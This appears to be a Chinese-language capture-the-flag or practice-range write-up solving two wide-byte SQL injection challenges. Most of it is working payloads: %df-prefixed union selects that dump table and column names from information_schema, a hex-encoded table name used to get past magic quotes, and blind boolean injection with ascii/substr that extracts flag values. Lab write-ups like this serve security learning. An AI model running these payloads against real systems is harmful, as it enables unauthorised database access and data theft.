靶场地址
第一题:
首先先在url栏输入’ and 1=2 %23
发现页面并没有变化,可能存在魔术引号,于是我在’前面添加一个%df重新输入代码
%df' and 1=2 --qwe
没有显示查询结果,于是判定为它的回显
接着,我们可以使用盲注的方法,先查询它的数据库名字长度,输入代码
%df' and length(database())>7 -- qwe
的时候的还有数据,但是输入
%df' and length(database())>8 -- qwe
就没有数据了,判定它的数据库长度是8个字节长
但是,我突然发现下面查询结果有字段名显示,于是我们直接查询数据库名,我们再尝试使用这串代码
%df' union select 1,database(),3 -- qwe
直接获取数据库名
接下来,就是简单的显错注入了,直接查询字段名,输入代码
%df' union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() -- qwe
查询到的表名:china_flag,user
继续查列名:但是由于存在魔术引号,我们需要把表名写成16进制
Id,C_Flag
输入代码
%df' union select 1,2,group_concat(column_name) from information_schema.columns where table_name=0x6368696e615f666c6167 -- qwe
%df' union select 1,2,(select group_concat(C_flag) from china_flag)-- qwe
zKaQ-Wide,zKaQ-CAIK,zKaQ-Kzj+mz
第二题:
靶场地址
我们先尝试了一下万能密码
') or 1=1 -- qwe
a') or 1=1 -- qwe
同时用抓包工具抓住
同时,修改Hex里的数据把代表a的61修改成df去和\组成一个字符
再放包
页面没有显示数据,代表我们输入的语句得到了执行,同时判定了它的回显是没数据,存在宽字节注入
于是,我们只能通过盲注
输入代码
汉') or length(database())>5 -- qwe
一直到
汉') or length(database())=8 -- qwe
汉') or ascii(substr(database(),1,1))>90 -- qwe
逐个跑出数据库名
但是由于我们接下来不需要得到数据库名字,所以直接省略
我们继续输入代码,查询第一个表名的长度
汉') or ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),1,1))>10 -- qwe
汉') or ascii(substr((select column_name from information_schema.columns where table_name=0x6368696e615f666c6167 limit 0,1),1,1))>10 -- qwe
查字段名
得出字段名第一个字符串ascii码值 是67
其他的几个字符以此类推
得出字段名 C_Flag
最后查数据
输入代码
汉') or ascii(substr((select C_Flag from china_flag limit 0,1),1,1))>10 -- qwe